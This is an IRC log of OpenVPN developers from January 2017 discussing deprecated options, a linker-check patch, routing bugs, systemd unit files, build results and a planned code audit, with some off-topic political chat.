dazo would like to comment on this bad idea : https://forums.openvpn.net/viewtopic.php?f=6&t=23220#p67141 14:54 <@vpnHelper> Title: Service crash at connexion since I enabled the revoke functionnality - OpenVPN Support Forum (at forums.openvpn.net) --- Day changed Mon Jan 16 2017 04:17 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:48 <@dazo> syzzer: should we try to catch up one day planning how we'll do the RFC work? 07:04 < ordex> d12fk: hi, nice to see you here :) I sent you an email a few days ago about adding support for listening on multiple ports/protocols, but I am not sure you have got it 07:05 < ordex> d12fk: I Was wondering about that because it is a topic that would be interesting to me, therefore I wanted to understand if you are also still doing something around those lines or not 07:05 < ordex> d12fk: ping me when you are around please :) thanks 08:54 <@d12fk> ordex: ping 08:54 < ordex> d12fk: pong 08:54 < ordex> :) 08:54 <@d12fk> sorry, was on vacation/sick, so gone for 3.5 weeks 08:54 < ordex> no problem ! 08:54 <@d12fk> catching up with mails currently 08:55 < ordex> eheh, must be though after such a stop ;P 08:55 <@d12fk> i'll get back to you once your mail has been processed 08:55 < ordex> sure, thank you:) 10:03 <@plaisthos> d12fk: you and your replacing of remote-tls with verify-x509-name 10:04 <@plaisthos> I now got the 5th mail from someone using Sophos UTM that has problem with remote-tls in his/her config 10:13 <@cron2_> plaisthos: transparently rewrite on import? :) 10:24 <@plaisthos> well iirc tls-remote has a different behaviour with special chars than verify-x509-name 11:11 <@d12fk> hehe it was james' idea to introduce a new option 11:11 <@d12fk> we have a ticket open aswell, just discusse dit with a colleague 11:12 <@d12fk> tls-remote ha s a utf8 fail, so there's no other option 16:10 <@plaisthos> d12fk: if you have something that might work for 95% I could implement that 21:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 21:37 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:37 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Jan 17 2017 03:08 <@d12fk> plaisthos: do you have libcrypto for a 100% solution? 03:54 <@plaisthos> d12fk: I have libcrypto 1.0.2something 03:54 <@plaisthos> mbedtls is missing some features so I stuck with openssl 06:01 <@dazo> mattock: Have we planned for a meeting tomorrow? 06:24 <@mattock> dazo: no plans, but tomorrow is ok 07:19 <@dazo> we had some discussions regarding a release in last meeting .... not sure we should release soon or wait another week or two 07:50 <@d12fk> plaisthos: sorry, made a mistake here, you don't have the server cert at the client so the solution is not possible 07:51 <@d12fk> would have suggested to format the subject DN yourself, btu the x509 is not available 07:53 <@plaisthos> yeah 07:54 <@d12fk> the optimistic approach would be to s/\/, /g 07:55 <@d12fk> but it is abv error prone 07:55 <@d12fk> *obv 07:55 <@d12fk> gnah *s/\//, /g 07:55 <@plaisthos> yeah 07:56 <@plaisthos> at the moment my app actually gives you popup refusing to start the vpn because you are using a deprecated VPN 07:56 <@d12fk> fun fact is that openssl doesn't escape slashes that are actually part of a RDN so it's not machine parsable 07:57 <@d12fk> but in many cases it will work 07:57 <@plaisthos> hm okay 07:57 <@d12fk> then with the LDAP format DN you also need to escape commas in RDNs IIRC 07:57 <@d12fk> lemme check 07:57 <@plaisthos> maybe I will just wait if more people complain 07:58 <@d12fk> heh 07:58 <@plaisthos> and otherwise just only keep the popup warning 07:58 <@plaisthos> a lot of people will probably screenshot and scream at their admin 07:59 <@plaisthos> who screams at sophos in turn ;) 07:59 <@d12fk> we'll ship configs with verify-x509-name shortly, bt existing configs will break 08:06 <@plaisthos> or people should deactive the option and then it works "fine" 13:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 13:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:50 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jan 18 2017 02:04 <@vpnHelper> RSS Update - tickets: #823: openvpn-gui 2.4 need administrative privilege at first connection only <https://community.openvpn.net/openvpn/ticket/823> 02:08 <@mattock> meeting today? enough stuff to talk about? 03:46 * cron2_ has lots of work to do, and not really stuff to talk about 05:31 <@vpnHelper> RSS Update - tickets: #824: with proto tcp-server sd_notify not sent to systemd until client connects <https://community.openvpn.net/openvpn/ticket/824> 05:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 05:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:42 <@cron2_> brr 06:42 * cron2_ just discovered that one of his laptops sports openvpn 2.3.12... 06:48 <@mattock> I'm most fine with no meeting 06:52 <@plaisthos> cron2_: I have a ubuntu 14.04 somewhere with 2.2.x iirc 06:52 <@plaisthos> oder 2.3.3 or soemthing old like that --- Log closed Wed Jan 18 09:28:27 2017 --- Log opened Wed Jan 18 09:28:35 2017 09:28 -!- Irssi: #openvpn-devel: Total of 32 nicks [8 ops, 0 halfops, 1 voices, 23 normal] 09:28 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 09:28 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 09:29 -!- siruf_ is now known as siruf 09:29 -!- Netsplit *.net <-> *.split quits: +krzee 09:29 -!- Irssi: Join to #openvpn-devel was synced in 40 secs 09:50 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 09:50 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:53 <@cron2> syzzer: slypknot brought up an interesting question on the -devel list (read: I do not know the answer but I'm curious) 12:53 <@cron2> openvpn --show-digest lists stuff like this 12:53 <@cron2> SHA 160 bit digest size 12:53 <@cron2> RSA-SHA 160 bit digest size 12:53 <@cron2> SHA1 160 bit digest size 12:53 <@cron2> RSA-SHA1 160 bit digest size 12:54 <@cron2> what is "SHA1" vs. "RSA-SHA1"? Is "SHA" the same as "SHA1"? 12:54 <@cron2> (openssl build) 13:52 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:02 <@syzzer> cron2: hehe, I wondered the same a while ago. I think they're the same, and just an artifact of how we enumerate the digests. But I never actually tried to figure it out... 14:15 <@vpnHelper> RSS Update - gitrepo: More broadly enforce Allman style and braces-around-conditionals <https://github.com/OpenVPN/openvpn/commit/4cd4899e8e80efae03c584a760fd107251735723> 14:22 <@dazo> AFAICT from our crypto code, the hmac_ctx_init() function only gets a pointer to the hashing algorithm, which is SHA*/MD* objects 14:24 <@dazo> also, openssl dgst doesn't list any RSA/DSA/EC* stuff either 14:24 <@dazo> (dgst also does hmac) 19:15 < ordex> morning ecrist_ ! 19:20 < ordex> :) 20:51 -!- Netsplit *.net <-> *.split quits: @vpnHelper 21:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:12 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Thu Jan 19 2017 07:15 -!- You're now known as ecrist 07:15 <@ecrist> Hello, ordex. 07:15 <@ecrist> good evening. ;) 07:15 < ordex> eheh, thanks ;) 08:20 < ordex> cron2: about "NOTE: unable to redirect default gateway -- Cannot read current default gateway from system" - I just gave a look at the code (I hope this can be helpful): as soon as "redirect-gateway" appears in the config (no matter what suboption is specified) the code will try to add a route to the remote endpoint over the default route 08:21 < ordex> not sure how you would fix this without changing the meaning of this option 08:23 < ordex> maybe this could be made a non-critical error when def1 is specified 08:23 < ordex> just my 2 cents 08:23 * ordex hides again 08:23 <@cron2> ordex: actually with the "local" flag, the documentation says it should *not* do this route 08:24 <@cron2> and it shouldn't do this in the first place when the VPN gateway is reached over v6... 08:24 < ordex> ah right about local, also the code seems to say so 08:24 < ordex> and yeah about ipv6.. 08:29 <@dazo> cron2: btw ... I'm checking out selva's --wrap fix ... my gut feeling is that this is the right approach, it works ... so now I try to break it, to see if it behaves correctly even then ;-) 08:30 <@dazo> plaisthos: could you run some tests on Selva's --wrap patch on OSX as well? 08:44 < ordex> cron2: ah the problem is that there is a check about whether the def GW (v4) exists or not before checking for local/def1 etc 08:47 <@cron2> ordex: yep. (well, for def1 you need it, even if you do not remove the default route - you need to install a /32 host route to the VPN server) 08:48 <@cron2> ((if v4)) 08:48 < ordex> right 08:48 < ordex> I think this way https://bpaste.net/show/c1127629aaa8 you'd fix the "local" case 08:48 <@cron2> dazo: this is good (that you're more happy with this one) :-) 08:49 <@dazo> I have one comment to the patch, writing the mail now ... but I think we have the proper solution 08:49 <@cron2> ordex: those are the best ones, one-line fixes - it looks good, though I'd need to test 08:49 < ordex> yup, minimal :) 08:52 * dazo need to head out again ... back in the evening 09:34 <@plaisthos> dazo: checking linker supports --wrap... no 09:34 <@cron2> good :) 09:34 <@plaisthos> configure:15221: checking linker supports --wrap 09:34 <@plaisthos> configure:15243: clang -o conftest -g -std=c99 -no-cpp-precomp -Wl,--wrap=exit conftest.c >&5 09:34 <@plaisthos> ld: unknown option: --wrap=exit 09:34 <@plaisthos> clang: error: linker command failed with exit code 1 (use -v to see invocation) 10:30 < ordex> cron2: btw autolocal is broken as well when there is no default gw. but not sure who would connect to a local server and set "redirect-gateway autolocal" .. 10:34 <@cron2> ordex: uni wifi setups come to mind 10:34 <@cron2> the point of autolocal is "figure out if local is needed or not" 10:35 <@cron2> (so you connect to an open wifi that leads nowhere, and then vpn to a vpn server on the same /16 or what, which gives you "real Internet access") 10:35 < ordex> yeah, the latter example makes more sense .. then I think it should really work when no def route exists 10:37 <@cron2> right 10:46 < ordex> mh it looks the whole logic for testing if an address is local deeply assumes the GW to be there 10:48 <@cron2> whee, patches :) 10:51 < ordex> :D 11:07 < ordex> mh with rtnl this would be quite easy. maybe I can just move the code from get_default_gateway_ipv6() and re-use it .. mh 11:57 <@cron2> well, the get_default_gateway() code itself works (across all platforms, even if ugly) - so that is a secondary target. The usage of these results is what is lacking smarts... 12:57 <@plaisthos> hm has t-mobile.de run out of ipv4 addresses?! 12:57 <@plaisthos> I got 12:58 <@cron2> their standard APN always handed out 10.x 12:58 <@plaisthos> 30.1.191.20/29 as ip for the mobile interface 12:58 <@cron2> that... is interesting 12:59 <@cron2> whois claims its US DOD 12:59 <@plaisthos> yeah 12:59 <@plaisthos> hm my android does not its ipv6 address and does not use it 13:01 <@plaisthos> oh that is the volte interface with the strange ip 13:01 <@plaisthos> the "normal" interface only has an ipv4 address in 10.x 13:01 <@cron2> what is "volte"? 13:01 <@plaisthos> voice/voip over lte 13:02 <@cron2> interesting 13:10 <@plaisthos> the ipv4 or ipv4/ipv6 settings for the APN has no effect on this phone 13:10 <@plaisthos> neither has volte on/off 13:10 <@plaisthos> volte interface always gets ipv4/6 and normal interface does not get ipv6 at all 13:12 < kitsune1> Some ISPs in north america use 7.0.0.0/8 (another unused? DoD assignment) for internal routing -- not seen given out to customers. 13:14 <@plaisthos> in this case it might be a dummy address that isn't used 13:14 <@plaisthos> could be that sip always goes over the ipv6 address 13:15 <@plaisthos> but it is annoying that the phone does not like ipv6 or t-mobile does not like it on the phone 13:17 < kitsune1> Is the ipv6 on volte for real? It may be tunnelled to some internal end point through ipv4 using the 30.x.x.x address.. 13:23 <@dazo> plaisthos: thx! That looks good :) 13:23 <@plaisthos> '12: rmnet_data6: <UP,LOWER_UP> mtu 1500 qdisc htb state UNKNOWN group default qlen 1000 13:23 <@plaisthos> link/[530] 13:23 <@plaisthos> inet 30.0.79.24/28 scope global rmnet_data6 13:23 <@plaisthos> valid_lft forever preferred_lft forever 13:23 <@plaisthos> valid_lft forever preferred_lft forever 13:23 <@plaisthos> inet6 2a01:59f:a000:a90e:d9a6:7293:d788:5085/64 scope global mngtmpaddr dynamic 13:23 <@plaisthos> it is even a global ip 13:24 <@cron2> plaisthos: you're using the IPv4v6 APN type? 13:24 <@plaisthos> I have two phones on the contract, both have identical settings 13:24 <@plaisthos> one gets ipv6, the other ones doesn't 13:24 <@cron2> aren't computers wonderful? 13:25 <@plaisthos> or the volte triggers "no ipv6 for the normal connection" since that breaks something else :/ 13:34 <@plaisthos> cron2: defenitively 13:45 <@cron2> dazo: wait with committing, selva found a weird OS where the check doesn't do the right thing (namely, ld has --wrap support but the test claims "it has not") 13:45 <@cron2> now that's a solaris derivate, so in the "below 1%" relevance category, but still, if we can do perfect, why aim for less :) 13:46 <@dazo> ouch! ... I'll wait 13:52 <@cron2> https://github.com/OpenVPN/openvpn/pull/80 13:52 <@vpnHelper> Title: Add a check for -Wl,--wrap support in linker by selvanair · Pull Request #80 · OpenVPN/openvpn · GitHub (at github.com) 13:52 <@cron2> this is where half the discussion took place, which is not on -devel (yet) 14:10 < selvanair> cron2: as replied to the PR comment, the patch works fine on omnios (and hence should work on other opensolaris clones) 14:10 < selvanair> well, I didn't test the patch only the approach.. 14:28 <@dazo> selvanair: cron2: so you consider this ready to be merged? 14:31 <@dazo> As I provided a deadline EOB tomorrow, I can merge it late tomorrow ... unless someone comes with a very good case where it breaks things 14:52 < selvanair> dazo: yes, the patch is good as far as I can see.. 15:36 <@cron2> ok, go for it, then :-) - I understood selva to mean "we need to change it for omnios", but maybe that was a misunderstanding 15:36 <@cron2> reading the last comment in the PR - indeed, I misunderstood 15:39 <@dazo> great! :) I'll still wait until tomorrow, as I set a deadline for feedback ... (and brain power is starting to decline now) 17:28 < slypknot> #801 : Don't use openvpn-server@service for P2P links .. new openvpn-p2p@.service 17:30 <@dazo> slypknot: I've been pondering on this one ... the thing is, p2p + TLS is a valid configuration, and there you will have the client/server mix match 17:32 < slypknot> hi dazo .. i would say at least there is a need for a .service which explicitly names p2p .. altho the details of systemd inside the openvpn code is beyond my knowledge 17:33 <@dazo> slypknot: I'm not convinced to be honest ... I think it is possible, with fixing the systemd notification stuff, to keep just these two unit files 17:33 < slypknot> ok 17:34 < slypknot> personally , i am not convinced but of course it is your call 17:34 < slypknot> i guess it boils down to how much the maintenance cost is 17:34 < slypknot> for another service file i mean 17:36 <@dazo> not just maintenance cost ... but also to not make things too much complicated for users .... if using server/client unit files works out-of-the-box, then users won't care 17:38 < slypknot> but with the new dependency on /etc/openvpn/server or client ? .. to me it looks more logical (at this time) for p2p to be specific 17:39 < slypknot> but of course that also depends on the systemd code inside openvpn 17:39 < slypknot> good old systemd ;) 17:47 <@dazo> slypknot: well, static key mode p2p does not have the notion of client/server. But p2p with --tls-server/--tls-client (which is fully valid, no use of --server/--ifconfig-pool, just --ifconfig in both configs) will again have that distinction 17:47 <@dazo> (client/server distinction) 17:48 <@dazo> and once we fix the sd_notify() issues, static key mode p2p should work, regardless if the config is in the server or client profile directory 17:49 < slypknot> i see 17:49 <@dazo> (and that is the only mode failing ... using --tls-server, and it does work already) 21:45 <@vpnHelper> RSS Update - tickets: #825: Segfault with --tls-crypt on RHEL5/CentOS5 <https://community.openvpn.net/openvpn/ticket/825> --- Day changed Fri Jan 20 2017 01:19 <@cron2> I'm actually with dazo here - having extra unit files for p2p mode sounds like a sure way to attract more trac tickets... :) 02:01 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 02:10 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 02:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 02:44 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:44 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:27 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 03:45 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:17 <@vpnHelper> RSS Update - tickets: #826: Suggestion: warn when --config is not the first parameter <https://community.openvpn.net/openvpn/ticket/826> 05:35 <@cron2> dazo: why "ouch"? this was intended as a compliment :) 05:38 <@plaisthos> For #825 I remember a discussion with syzzer, that those ciphers should be always available in all openssl/polarssl version we support but including that check does not hurt 05:38 <@plaisthos> and now we found a distro that doesn't have that cipher %) 05:42 <@dazo> cron2: ;-) ouch ... because now I feel a bit more obliged to really dig into that code ... and I don't feel I know it that well, yet ... But on the other hand, I do have interests in those code paths, so nothing bad ;-) 05:44 <@dazo> syzzer: You might have seen this one, but if not I bet it will catch your attention :) https://www.ietf.org/mail-archive/web/cfrg/current/msg08892.html 05:44 <@vpnHelper> Title: [Cfrg] AES GCM SIV analysis (at www.ietf.org) 05:44 <@dazo> 'NSA's Information Assurance organization did some analysis of AES-GCM-SIV, as described in "AES-GCM-SIV: Nonce Misuse-Resistant Authenticated Encryption"' 05:46 <@dazo> from my way-to-fast-skim-through-peek, I don't think this have any direct impact on AES-GCM 05:49 <@dazo> background info: https://tools.ietf.org/html/draft-irtf-cfrg-gcmsiv-02 05:49 <@vpnHelper> Title: draft-irtf-cfrg-gcmsiv-02 - AES-GCM-SIV: Nonce Misuse-Resistant Authenticated Encryption (at tools.ietf.org) 06:20 <@cron2> plaisthos: if we do have that check at all, we shouldn't do it after we crash :) 06:36 <@plaisthos> cron2: yeah 06:36 <@plaisthos> human behaviour 06:36 <@plaisthos> do something and then check if that was right 08:31 <@plaisthos> also Sophos stellt sich gerade mehr als quer und ich habe leider keine Möglichkeit das händisch zu machen, gäbe es vllt die Option das Sie mir die »alte« apk zur verfügung stellen bis Sophos da nachgearbeitet hat, das wäre eine unglaublich große Hilfe. 08:31 <@plaisthos> arghs 08:32 * ordex was really trying hard to understand that 08:32 < ordex> :D 08:34 <@plaisthos> ordex: basically d12fk' company did not prepare well for the remove of tls-remote in 2.4 08:36 < slypknot> cron2: my debian8 bb machine is offline for now so i am moving bb back to a VM , the reason i put it on a real m/c was due to the ping problem which is now resolved so they should all be back online soon :) 08:38 < slypknot> back soon 08:38 < ordex> plaisthos: thanks for translating, I appreciate that :) 08:48 <@d12fk> plaisthos: can you tell the user of yours to edit the file /var/confd/res/openvpn/client.ovpn-default and change tls-remote to verify-x509-name 08:49 <@d12fk> that will fix it for him. we use correct LDAP DNs already but via tls-remote instead of verify-x509-name 08:53 < ordex> d12fk: did you accidentally see my email in your pile ? :) 08:54 <@d12fk> i saw it but have not read it, it is in the pile of the last remaining 10 =) 08:55 < ordex> :D 08:57 <@plaisthos> d12fk: yeah, told him that already 12:25 <@vpnHelper> RSS Update - gitrepo: Add a check for -Wl, --wrap support in linker <https://github.com/OpenVPN/openvpn/commit/f91ab283a407e25c4b32aecb390911b212ce2694> 12:27 <@dazo> now, lets see how buildbot explodes this time :) 12:47 <@dazo> mattock: seems like the buildbot master webui is quite slow .... 12:54 <@dazo> (network via the VPN seems good, getting reasonable ping responses, even on larger packets) 13:05 <@dazo> beginning to get a glimpse of hope that we won't see many buildbot errors today .... but I've probably jinxed it just by saying it aloud here 13:23 <@dazo> meh ... one osx failure, but that's in t_client.rc ... 13:23 <@dazo> -e test run 4a: 1 test failures. FAIL. 13:23 <@dazo> FAIL: IPv6 ping test (64 bytes) failed, but should succeed. 13:24 <@dazo> plaisthos: ^^^ 13:24 <@dazo> otherwise, the unit tests passes as expected now (as argv and buffer tests are not built and run) 13:26 <@dazo> (the other osx build which also failed regularly did pass successfully though) 13:58 <@cron2> dazo: that 4a test is jinxed 13:58 <@cron2> (on macos) 13:58 <@cron2> but if everything else works, I'm a happy man 14:13 <@dazo> Just checked again now, that's the only failure ... all others are green 14:26 <@cron2> \o/ 14:26 <@cron2> (we have at least one fairly recent trac ticket from chipsitine which can now also be closed) 14:40 < kitsune1> Is there a place where the buildbot results could be publicly viewed? 15:45 <@cron2> not today 16:37 <@plaisthos> dazo: if you have any idea how to fix that I am happy 16:37 <@plaisthos> my workaound did not work 20:12 <@ecrist> sup bitches? --- Day changed Sat Jan 21 2017 05:09 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 07:20 < ordex> more patches :-P 11:13 <@dazo> I'll let cron2 and plaisthos look at these routing patches .... they're the network gurus :) 11:13 <@dazo> ordex: ^^ 11:14 < ordex> sure :) 11:35 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 11:35 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:39 <@cron2> ordex: wow ("fix redirect-gateway autolocal"). Won't have time today or tomorrow to look more closely, but "soon" 11:40 < ordex> thanks! 11:50 <@cron2> slypknot: tincan-debian-85-amd64 seems to have network issues... building fails on git checkout 11:50 <@cron2> fatal: unable to connect to git.code.sf.net: 11:50 <@cron2> git.code.sf.net[0: 216.34.181.155]: errno=Connection timed out 12:19 < slypknot> cron2: thanks .. i got it already ;) 12:20 < slypknot> can you start a build on that bot ? or all mine ? 12:23 < slypknot> and, I can't remember what to do with mbedtls .. some thing like : cmake USE_SHARED_MBEDTLS_LIBRARY:BOOL=ON 21:32 * ordex is jumping from multi, to mtcp, to socket, back to mtcp in a loop of colors, thoughts and dreams 21:33 < ordex> didn't know that reading this code could this could such an experience 21:33 < ordex> :D --- Day changed Sun Jan 22 2017 04:46 < slypknot> ecrist: mattock: forum is down 04:52 <@syzzer> dazo: (finally time to check IRC...) yeah, I follow the AES-GCM-SIV discussion with interest, but it is very specific to AES-GCM-SIV, which is quite new and not used anywhere 04:52 <@syzzer> I even doesn't apply to our use of SIV in --tls-crypt 04:53 <@syzzer> s/I/it/ 04:54 <@syzzer> oh, and it is only relevant for AES-GCM in the sense that it tries to break the 'nonce-misuse resistant' properties of AES-GCM-SIV to be able to use known attacks on GCM (which is *very* sensitive to nonce reuse) 04:55 <@syzzer> plaisthos: re #825, that's RHEL5, which we no longer support in the 2.4 branch. The mistake in the check is kinda lame though :( 17:42 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:34 <@vpnHelper> RSS Update - gitrepo: Use SHA256 for the internal digest, instead of MD5 <https://github.com/OpenVPN/openvpn/commit/5b48e8c9f85442936f744c3c550d9d41fe8c7b60> || git: Merge .gitignore files into a single file <https://github.com/OpenVPN/openvpn/commit/d14b3c60c7796736e07bc3cddb0ab3a58475793e> 21:27 < ordex> syzzer: thanks for checking v5! v6 is out! hopefully no stupid errors this time --- Day changed Mon Jan 23 2017 04:15 <@vpnHelper> RSS Update - tickets: #827: openvpn-client@.service fails permanently, if there are DNS issues <https://community.openvpn.net/openvpn/ticket/827> 05:10 <@d12fk> ordex 05:10 < ordex> here here! :) 05:10 <@d12fk> hi 05:10 < ordex> hi 05:10 <@d12fk> about the multisocket patch. can send what i have to you 05:11 <@d12fk> where i left off it needed some testing 05:11 <@dazo> ecrist: forum.openvpn.net ... down again :/ 05:12 < ordex> d12fk: that would be nice! but so it is close to be working ? 05:12 <@d12fk> i would say it is 60% 05:12 < ordex> oky, that's definitely great 05:12 <@d12fk> working for multiple tcp socket iirc 05:12 < ordex> d12fk: do you have any plan about working on this feature in the next weeks/months ? 05:12 < ordex> oh ok 05:13 < ordex> I am asking because I'd like to spend some time on it, but I don't want to overlap with somebody else paddling on the same thing 05:13 <@d12fk> yeah the plan is always there. work comes in the way all the time 05:13 < ordex> eheh 05:13 < ordex> I Can imagine 05:14 < ordex> well, we could also try to put this on github and share our progress 05:14 <@d12fk> we can work on github, so everything is visible 05:14 < ordex> ah, perfect 05:15 < ordex> I can just fork your branch then (?) 05:16 <@d12fk> yes 05:16 <@d12fk> have to check if it is up to date 05:17 <@d12fk> oh, one problem 05:17 <@d12fk> it is not based on master but 2.3.x 05:18 <@d12fk> _before_ arne's socket.c carnage iirc 05:19 < ordex> wow, I am not sure when that happened, but my feeling is that this code is going to be quite old eh? :) 05:19 <@d12fk> i would suggest we port what we have to master/2.4 first 05:19 < ordex> good idea 05:19 < ordex> also because ~I don't want to work on something older than master 05:19 <@d12fk> something like 2.3.8 05:20 < ordex> oky, yeah porting ifrst is definitely better :) it will be a bloodbath anyway, also because of the restyling patches 05:20 < ordex> eheh 05:20 < ordex> where can I find the branch ? 05:21 <@d12fk> have to check for myself first 05:34 < ordex> sure 06:07 <@d12fk> ordex: https://github.com/d12fk/openvpn/tree/multiplesockets_2.3.10 06:07 <@vpnHelper> Title: GitHub - d12fk/openvpn at multiplesockets_2.3.10 (at github.com) 06:08 <@d12fk> are you located in italy as you name suggestes? 06:22 < ordex> d12fk: nope, I am in HK, but Italy is where I Was born :) 06:33 <@d12fk> ok so we won't share much daytime 06:36 < ordex> d12fk: where are you ? 06:38 <@d12fk> germany 06:47 < ordex> ah ok, well, could be wors :) 06:47 < ordex> *worse 07:40 <@dazo> This is a nasty move ... http://www.scmp.com/news/china/policies-politics/article/2064587/chinas-move-clean-vpns-and-strengthen-great-firewall?utm_content=buffer421e0&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer 07:41 <@dazo> "China tightens Great Firewall by declaring unauthorised VPN services illegal" 07:47 < ordex> lol 07:48 < ordex> this is interesting .. 07:49 < ordex> I wonder what will happen tothe server in HK .. mh .. 07:49 <@dazo> this step is lol .... but I'm more concerned about the next steps .... what might happen to VPN users in CN who manages to use VPN services abroad due to obfuscation techniques after they have officially labelled which VPN providers are legal and not? 07:50 < ordex> eheh :) 07:50 <@dazo> so, obfuscation might need to look like innocent videos of cats and dogs while transporting VPN traffic inside that stream ;-) 07:50 <@dazo> obfuscated traffic, I mean 07:52 < ordex> :) 08:10 < ordex> this makes the challenge more interesting for the providers :) 08:38 * ecrist looking at forum. 08:41 <@ecrist> forum is back online. 09:02 < slypknot> China is a human disgrace and free countries should not trade with china until they stop their legalised slave trade .. any and all products from china should be banned imports, including APPLE shit 09:04 <@plaisthos> I think you are too drastic there 09:04 <@plaisthos> there are far worse countries than China we still trade with 09:05 <@plaisthos> and where do you draw the line? 09:05 <@plaisthos> Do not trade with a country that still has a death penality? 09:09 < slypknot> yeah .. it's a big problem .. especially when you consider all those western companies that moved their manufacturing to china to specifically take advantage of china's legal slave labour 09:20 < slypknot> Trump has been tasked to redress the balance .. looking forward to how that pans out 09:23 < ordex> <@plaisthos> Do not trade with a country that still has a death penality? << I like that :) 09:27 <@plaisthos> And European pharamecy producers actually brought US in a percurilar position when they stopped selling the "medicine" that is used to kill people 09:27 <@cron2> yeah, that's a valid point. There's much wrong in china or saudi arabia, but there's much wrong in America as well. 09:28 < ordex> shall we talk about countries selling weapons to less developed ones? :) 09:28 < ordex> ops, you already mentioned the US :P 09:28 <@plaisthos> I thought you menat Germany 09:28 <@cron2> ordex: DE is in that boat as well :/ 09:28 < ordex> yeah :/ 09:29 < ordex> although the US is still the first in the class .. somany sad things around :( 09:32 < ordex> anyway.. let's think about something else, otherwise we just drive our mood down :) 09:37 <@syzzer> so, for a bit more postive news, I won't be able to make the meeting this Wed, so that'll be a far more efficient one ;) 09:43 <@cron2> snowboarding again? 09:44 <@ecrist> slypknot: I like my apple shit... 09:45 <@syzzer> cron2: nope, long standing meet-up with friends from high school 09:46 <@syzzer> snowboarding due in 2 weeks :-D 09:46 * cron2 went boarding yesterday 09:46 <@cron2> as long as the sun was out, it was great, but as soon as the sun went away it was cold and icy 09:46 <@syzzer> one of the perks of living in Munich :) 09:47 <@ecrist> we've had nothing but rain for the last week 09:47 <@ecrist> and 40*F temps 09:47 <@ecrist> goodbye, snow. :( 09:47 * syzzer guesses that's above 0*C? :p 09:48 <@ecrist> yes, but barely 09:48 <@syzzer> I can deal with inches and miles, but Fahrenheit confuses the hell out of me 09:48 <@ecrist> probably 4*C 09:49 <@ecrist> syzzer: if you can remember 32* is freezing, and 212* is boiling, you can guesstimate the *C 09:49 <@ecrist> it's just shy of 2x 09:49 <@cron2> the offset is what makes this annoying 09:49 <@ecrist> 180 / 100 09:50 <@ecrist> so, 1.8*F per *C 09:50 <@ecrist> plus offset 09:50 <@ecrist> see? so simple. :D 09:50 <@syzzer> :') 09:58 < ordex> :D 10:08 <@cron2> "using SI units" would be *simple* :) 10:16 <@plaisthos> One of the first things I did in a US hotel room was to get my phone to have any idea to what the room temperate was set 15:35 <@vpnHelper> RSS Update - tickets: #828: Bridged Windows 7 Connection Not Functional <https://community.openvpn.net/openvpn/ticket/828> 16:19 <@plaisthos> That is an instance where I want to just close #828 with "sigh, not enough information, unclear problem description, unclear if this ever worked, possible no idea to star twith" 17:24 <@dazo> plaisthos: we'll do what we've always done .... leave it untouched for 3-4 years and close it due to inactivity :-P 17:26 <@dazo> but I see the screenshots mention VMware network ... wouldn't surprise me if there's some VMware switches which have not been touched and needs to, to make bridging work ... I vaguely remember some others having some similar issues with VMware and Linux 19:43 < ordex> morning! --- Day changed Tue Jan 24 2017 01:57 <@cron2> oh, vmware... that could well be 02:13 <@cron2> ... but it looks more like "this box is running VMs" than "it is a VM", so vmware should *not* interfere... 02:13 <@cron2> (briding virtual LAN to TAP from with in a VM is likely going to fail in interesting ways due to MAC address security on the vmware switch) 02:36 <@syzzer> mattock: did you receive any news from our various auditors? 03:04 < eworm> Mail from trac do not contain a To: header and end up in my spam box... 03:05 < eworm> Any chance to change that? 03:49 <@mattock> syzzer: no, but I can ask about the progress 03:49 <@mattock> eworm: not afaik 04:18 <@mattock> meeting tomorrow? 06:03 <@plaisthos> syzzer: I can ask the guy @ PIA handling the audit if you want 06:55 <@mattock> plaisthos: PIA decided to donate to OSTIF, so I believe OSTIF is fully handling the audit now 07:05 <@cron2> syzzer: are you reading openvpn-users? 09:27 <@dazo> mattock: slypknot: any chance you can test the "Fix user's group membership check in interactive service to work with domains" patch from Selva? 09:52 < eworm> dazo: My other patches are still on your todo list for review? 10:02 <@mattock> dazo: that will be tricky as right now I don't have a Windows domain to test the patch on 10:08 <@mattock> syzzer: the audit should start on 15th Feb 12:44 <@syzzer> mattock: thanks! 12:45 <@syzzer> so is Matthew Green still doing the crypto audit, now through OSTIF, or will everything be Quarkslabs (iirc)? 12:46 <@syzzer> cron2: yes, I flagged the 'push cipher' mail 12:46 <@syzzer> having some troubles keeping up with openvpn duties lately :( 13:53 <@dazo> syzzer: Matt Green will do the crypto, and 